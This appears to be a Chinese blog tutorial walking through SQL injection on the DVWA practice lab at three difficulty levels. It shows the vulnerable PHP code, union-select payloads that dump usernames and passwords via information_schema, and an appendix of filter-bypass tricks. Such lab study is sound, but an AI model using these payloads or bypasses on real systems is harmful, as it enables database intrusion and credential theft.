SQL注入
原理:
通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,
欺骗服务器执行来达到攻击目的。
目录:
NO.1 Low
首先来看下代码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_num_rows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
先学习学习函数!!!
mysql_query()
函数执行一条 MySQL 查询。
语法:mysql_query(query,connection)
参数:
- query 必需。规定要发送的 SQL 查询。注释:查询字符串不应以分号结束。
- connection 可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接。
mysql_num_rows()
函数返回结果集中行的数目。
语法: mysql_num_rows(data)
参数:
- data 必需。结果集。该结果集从 mysql_query() 的调用中得到。
mysql_result()
函数返回结果集中一个字段的值。
语法: mysql_result(data,row,field)
参数:
- data 必需。规定要使用的结果标识符。该标识符是 mysql_query() 函数返回的。
- row 必需。规定行号。行号从 0 开始。
- field 可选。规定获取哪个字段。可以是字段偏移值,字段名或 table.fieldname。如果该参数未规定,则该函数从指定的行获取第一个字段。
mysql_error()
函数返回上一个 MySQL 操作产生的文本错误信息。
语法: mysql_error(connection)
mysql_close()
函数关闭非持久的 MySQL 连接。
语法: mysql_close(link_identifier)
想要找漏洞,还得先知道代码什么意思,
首先if
判断有没有用户有没有提交值过来,
然后$query
准备一条sql语句,根据用户输入的id去进行查找,
这条sql
语句的意思是在users
表中根据$id
的值去查找first_name
和last_name
,
$result
为发送sql语句,如果失败将会报错,
$num
意思是有没有找到数据
while
循环将打印出这些数据,
最后关闭数据库。
构造payload
这段代码没有对用户输入的值做任何的判断直接进入数据库进行查询,
但是对于新手来说依旧很难构造出注入payload,
看到or
,select
,union
等语法直接蒙圈,
这里本渣渣也对这些东西很懵逼,
这里就简单总结一下,也方便自己以后学习。
这里先说一下最常见,也是最常用的方法,那就是and 1=1
,
相信很多人都见过,但是对于新手来说,只知道用,但是不知道原理,
在sql语句中,and
为逻辑运算符与
的意思,
跟他常见的是or
,意思是或者
,
拿这条sql语句来举例的话:
如果输入1
SELECT first_name, last_name FROM users WHERE user_id = 1;
如果输入1 and 1=1
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;
变换一下,更为直观一点,
SELECT first_name, last_name FROM users WHERE (user_id = 1) and (1=1);
前半句 user_id = 1
的时候,确实存在,后半句 1=1
也为真,
所以整条语句查询结果为真,返回正常。
但是如果提交and 1=2 前半句返回真,后半句为假,
and逻辑与运算符
只有两边都为真才返回真,所以整条语句返回值为假。
or 语句
我们经常会看到这样的语句 or 1=1
,
在注入中,通常用来遍历数据,
在sql语句中,or
是或者的意思,
来简单测试一下,输入 1 'or' 1 '=' 1
,
这里两个引号其实是用来包裹符号的,
我们可以看到这里全部数据都遍历出来了,
打印出来的语句为:
SELECT first_name, last_name FROM users WHERE user_id = '1 'or' 1 '=' 1'
解释:user_id = 1 或者 1=1 ,1=1 永远为真,所有就验证通过了,
但是输入 1 or 1=1
却不能遍历数据,这是为什么呢??
首先来对比一下两条语句:
第一条为:
SELECT first_name, last_name FROM users WHERE user_id = '1 'or' 1 '=' 1'
第二条为:
SELECT first_name, last_name FROM users WHERE user_id = '1 or 1=1'
我们可以看到两条语句后面颜色都不一样,
第一条语句为判断语句,相当于: (1) or (1=1)
第二条语句则为一个字符串,users表中没有id为 1 or 1=1
的字符串,所以遍历不出来。
order by 语句
简单说下 order by
语句,在注入中也很常见
官方的定义:ORDER BY
语句用于根据指定的列对结果集进行排序,语句默认按照升序对记录进行排序。
order by
在注入中一般用来爆列数,也就是字段
这里我们可以先来简单的测试一下看看
测试payload:1' order by 2#
,正常
这里估计新手都看不懂,'
这个单引号是什么作用,#
井号又是什么作用??
这里我们不妨直接打印这条语句看看,因为是本地的环境,那还不容易吗
我们可以看到,'
单引号闭合了前面的语句,#
井号则是注释了后面多余的符号
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';"
这里有个小问题,就是为什么要注释掉分号,sql语句不是要分号结束吗??
这里有个问答或许能帮助到你
https://segmentfault.com/q/1010000011382305?tdsourcetag=s_pcqq_aiomsg
这里可能又要啰嗦一下sql中的注释符
当然不只是#
号可以注释
MySQL注释符有三种:
#
井号--
(注意:–后面有一个空格)/*...*/
啰啰嗦嗦一堆之后再回到刚才 1' order by 2#
正常,
然后再测试 1' order by 3#
报错,
说明只有两个字段 ,
这里又有个小问题,我数据库中明明有8个字段,为啥只爆出两个??
那是因为这条sql语句只查找 first_name
和 last_name
这两个字段的值 ,
如果换成 SELECT * FROM users
那就可以爆出8个字段 ,
还有一种比较常见的查询,
通常我们看到的是这样的查询语句 1' order by 1,2,3,4,5,6
,
这种写法其实是跟上面是一样的,只不过换成了数列的方式,
意思是查询6个字段。
union select 语句
说完了order by 语句,接下来我们来讲讲 union select
语句,
注入中也是经常出现的东西。
拆分一下,先讲 union
操作符 ,
定义:UNION
操作符用于合并两个或多个 SELECT 语句的结果集,不包括重复行
还有一个 union all
操作符
定义: union all
操作符用于合并两个或多个 SELECT 语句的结果集,包括重复行
union
命令和 union all
命令几乎一样的,不过 UNION ALL 命令会列出所有的值。
select
大家都很熟悉了,
定义:SELECT
语句用于从表中选取数据,结果被存储在一个结果表中(称为结果集)。
语法:SELECT 列名称 FROM 表名称
这个有个问题,为什么要用union select
而不是 select
??
这个问题回归到那条sql语句中,
当用户输入1的时候,select
已经执行了查询操作,
SELECT first_name, last_name FROM users WHERE user_id = '1'
select
语句只能查询一次,不能多次查询,
union
是联合查询的一个关键字,可以合并多个 select
语句,
这就是为什么要用union select
而不是 select
的原因。
几种常用的注入方法
1. 确认表是否存在
Payload : 1' union all select 1,2 from 表名
表admin
不存在
表users
存在
2. 查看当前用户
Payload : 1' union select user(),2 #
注意:user()
函数得放到显位
(回显位置)上 ,
这里可能又要科普什么是显位了
可以先看下这篇文章
https://blog.csdn.net/weixin_43379478/article/details/84943001
像这种,就是显位
在这DVWA中,1和2都是显位
然后也直接爆出当前数据库用户名
这个显位的位置放在那里都行,如果把user()
放在第二位的话,那么用户名就在第二位上显示出来,
Payload : 1' union select 1,user() #
3. 查看当前数据库名
Payload : 1' union select database(),2 #
当然也可以同时显示当前用户,
Payload : 1' union select user(),database() #
4. 查看当前操作系统版本
Payload :
1' union select @@version_compile_os,2 #
version()
获取当前数据库版本.
@@version_compile_os
获取当前操作系统。
@
表示局部变量
@@
表示全局变量
5. 查看当前数据库版本
Payload : 1' union select version(),2 #
6. 查看当前数据库所有表
知道数据库就可以查表了,
Payload :
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761 #
这里又要科普一下函数了,,
concat()
函数
功能:将多个字符串连接成一个字符串。
group_concat()
函数
功能:函数返回一个字符串结果,该结果由分组中的值连接组合而成。
具体可以看看下面这篇文章,
https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc
table_name
就是数据表的名字, group_concat(table_name)
来连接这些表,就是这个样子
information_schema.tables
就是这个information_schema
数据库中的table
表,
Mysql数据库(Mysql 5之后)中有一个information_schema
数据库,里面存放了mysql下所有数据库中的列名和表名信息。
这个表tables
是information_schema
数据库中存放所有表名信息的一个表。
table_schema
是数据库的名称
结合起来的意思就是:在(where) xx数据库中 查找(from) 表的名字,并将他们串联起来一起输出
注意: 这里数据库名(dvwa)必须是16进制
关于为啥要16进制看这
关于为啥要16进制看这
7. 查看当前表中的所有字段
知道表名后就可以查表中的所有字段了,
Payload:
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') #
8. 查看当前表中的所有数据
知道字段就可以指定字段查数据了,
可以使用group_concat
函数的语句,进行查询id,name和password
1' union select 1,(select group_concat(user_id,first_name,password) from users) #
这里可能很多新手看着有点蒙圈,其实就是两个select语句嵌套,
这里查询出来有点乱,我们可以16进制编码的字符进行分割,看下一条语句
接下来我们使用16进制编码的 --
进行分割,其他字符也行,但是一定要进行16进制编码,
1' union select 1,(select group_concat(user_id,0x2D2D,first_name,0x2D2D,password) from users) #
这样就比较好看了,
当然查询方法是多种多样的,
下面使用concat
函数的语句进行查询 ,同样使用16进制编码的 --
进行分割
1' union select 1,(select concat(user_id,0x2D2D,first_name,0x2D2D,password) from users limit 1) #
跟group_concat
不同的是,concat
一次只能查询一条,需要使用limit
函数进行分页
limit
用法具体看这 –> https://blog.csdn.net/yihanzhi/article/details/82784770
如果不加 limit
会报 Subquery returns more than 1 row 错误,
原因是 主查询的一条记录对应子查询多条记录产生错误
接下来再用一个concat_ws
函数进行查询
功能:和concat()
一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)
语法:concat_ws(separator, str1, str2, …)
说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。
注:concat_ws
一次也只能查询一条,需要使用 limit
这里使用 ,
号进行分割,
1' union select 1,(select concat_ws(',',user_id,first_name,password) from users limit 1) #
当然也可以使用 where
指定字段进行查询,如果对应的值只有一条数据,那么可以不用 limit
1' union select 1,(select concat_ws(',',user_id,first_name,password) from users where user_id='2') #
9. 逐字猜解法猜表名
适用于order by 不能用的地方,
语法: and exists(select * from 表名)
来实战测试一下,
输入 1' and exists(select * from users) #
说明表是存在的,如果不存在将会报错。
10. 逐字猜解法猜列名
知道表名后,就可以猜字段了,也就是列名,
语法: and exists(select 列名 from 表名)
实战测试,
输入 1' and exists(select user_id from users) #
说明user_id
是存在的,如果不存在将会报 Unknown column 'id' in 'field list'
错误。
好了,就说这么多了,更多方法还是需要自己去研究 (逃。。
NO.2 Medium
代码,
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_num_rows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
mysql_real_escape_string()
数转义 SQL 语句中使用的字符串中的特殊字符。
受影响的字符:
\x00
\n
\r
\
'
"
\x1a
语法:mysql_real_escape_string(string,connection)
参数:
- string 必需。规定要转义的字符串。
- connection 可选。规定 MySQL 连接。如果未规定,则使用上一个连接。
这个代码跟第一个并没有太大的变化,需要POST
传参,还有多了个 mysql_real_escape_string()
函数,
但是这个函数对sql语句进行了处理,过滤了单引号,双引号等等。
这里我们可以打印一下这条sql语句,看看是如何进行查找的,
可以看到这个id为int
类型,很有可能是数字型注入,在这段sql语句中不需要用引号什么来闭合了。
然后这里没有输入框,只有一个下拉菜单,所以我们用burp来抓包,
简单输入一个单引号 '
测试,发现转义了,
输入 union select 1,2
没有转义,没有触发过滤规则,
输入 union select user(),database()
可以爆出数据库名和当前数据库用户名,
只要不使用 '
单引号就ok了,
在上面语句中选用没有单引号的直接一把梭就ok了。。
NO.3 High
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_num_rows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
判断session传值,
sql语句每次限制显示一条 ,
跟low级别的一样,id类型为字符串,可以使用单引号闭合,
另外,好像没什么过滤啊。
老方法,使用 '
单引号闭合标签,然后使用 #
号注释掉后面的 LIMIT
函数 ,
跟low级别的一样,直接用上面语句一把梭就ok了。。
附1:关于information_schema数据库
MySQL版本大于5.0时,才有数据库information_schema
https://blog.csdn.net/qq_36423110/article/details/78363946
附2:简单绕过
1. 使用注释符 来替换空格 (注释符/* */
,%a0
)
**2. 使用括号绕过空格 **
如果空格被过滤,括号没有被过滤,可以用括号绕过 例:
select(user())from users where(1=1)and(2=2)
**3. 引号绕过(使用十六进制编码): **
像上面说的使用十六进制编码的数据库名,其实就为了绕过引号
4. 逗号绕过(使用from或者offset):
通常含有这些函数substr(),mid(),limit(),的这些子句方法都需要使用到逗号,
对于substr()和mid()这两个方法可以使用from to的方式来解决:
比如:
SELECT MID(name,1,2) FROM users # 替换成
SELECT MID(name from 1 for 1) FROM users
使用join:
union select 1,2
# 等价于下面这条语句
union select * from (select 1)a join (select 2)b
# 也可以写成下面这条语句
union select * from (select 1) a join (select 2) b # 加个空格
其中 a 和 b 是别名的意思,
()a 相当于 () as a
使用like:
select ascii(mid(user(),1,1))=97
# 等价于下面这条语句
select user() like 'a%'
ASCII 97 对应的是小写字母a
a% 意思是匹配以a开头的所有东西
对于limit可以使用offset来绕过:
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
5. 比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,可以使用between的脚本):
使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找,
如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了,
greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
也可以使用between and:
between a and b:返回a,b之间的数据,不包含b。
6. or and xor not绕过:
and = &&
or = ||
xor = |
not = !
7. 绕过注释符号(#,– )过滤:
例:
id=1' union select 1,2,3||'1
最后的 or ‘1 闭合查询语句的最后的单引号,或者:
id=1' union select 1,2,'3
8. = 号绕过:
使用like 、rlike 、regexp 或者 使用< 或者 >
9. 绕过union,select,where等:
(1)使用注释符绕过:
常用注释符:
//
-- (--空格)
/**/
#
--+
-- - (杠杠空格杠)
; (分号)
%00
--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3–-
10. 通用绕过(编码):
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or 1=1
即 %6f%72%20%31%3d%31
,
而Test也可以为 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
。
附3:一点点小结
如果数据库使用GBK编码,那么可能存在宽字节注入
总结
这目前来说可能是总结过最长的文章了,
内容都很基础,没有什么绕过,
当然方法也都很基础,
相比《SQL注入攻击与防御》这本书来说,我写的这些根本不算什么,
后面还有很长的路要走,
我希望自己后续能以更好的心态继续前行。
另外,sql语句写的好,注入绕到老。
参考文献
https://www.freebuf.com/articles/web/120747.html
https://www.cnblogs.com/Vinson404/p/7253255.html